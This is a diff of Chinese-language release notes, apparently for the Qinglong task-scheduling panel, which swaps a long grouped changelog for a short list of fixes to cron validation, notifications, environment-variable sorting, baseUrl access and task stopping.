-
-  修复 cron 解析错误（修复 parse cron / 升级 cron-parser）
-  修复集群模式下定时任务可能不执行（race condition）
-  定时任务支持订阅筛选
-  定时任务支持排序调整
-  定时任务支持自定义日志文件或无日志
-  修复任务实例默认值
-  任务支持单实例 / 多实例模式
-  修复 task 命令软链可能失败问题
-
-  2. 日志系统相关的大更新
-
-  修复日志目录逻辑
-  修复 pm2 日志目录
-  优化日志写入（stream pooling）
-
-  3. 环境变量（env）系统的改进与修复
-
-  修复环境变量复制到剪贴板时可能失败
-  添加环境变量“置顶”功能
-  修复 QlPort 与 QlGrpcPort 环境变量在 host network 模式下被忽略
-  增加全局 SSH 私钥配置
-
-  4. Docker / 非 root 用户 / Alpine 兼容性增强
-
-  新增非 root Docker 用户支持，自动初始化命令
-  修复 Alpine 容器 DNS 解析失败（设置 ndots:0）
-  修复 PM2 在 ARM 路由器（Node.js 不兼容）上的启动失败
-  移除 nginx（可能是考虑更轻量的镜像运行）
-
-  5. API 安全与校验增强
-
-  Dependencies GET endpoint 增加校验
-  Script API routes 增加输入校验
-  修复 JWT 认证问题
-  Feishu 机器人通知增加签名校验
-  QLAPI 增加 cron task 管理功能
-  修复 URIError（错误 cookie 导致白屏）
-
-  6. 系统设置
-
-  新增多终端/多平台的并发登录会话支持
+  1. 修复获取依赖管理列表
+  2. notify.js 修复 TG_PROXY_AUTH 参数拼接
+  3. QLAPI.notify larkSecret 参数
+  4. 修复 cron parser 定时规则校验
+  5. 修复设置 baseUrl 后无法访问
+  6. 修复环境变量排序
+  7. 修复定时任务无法停止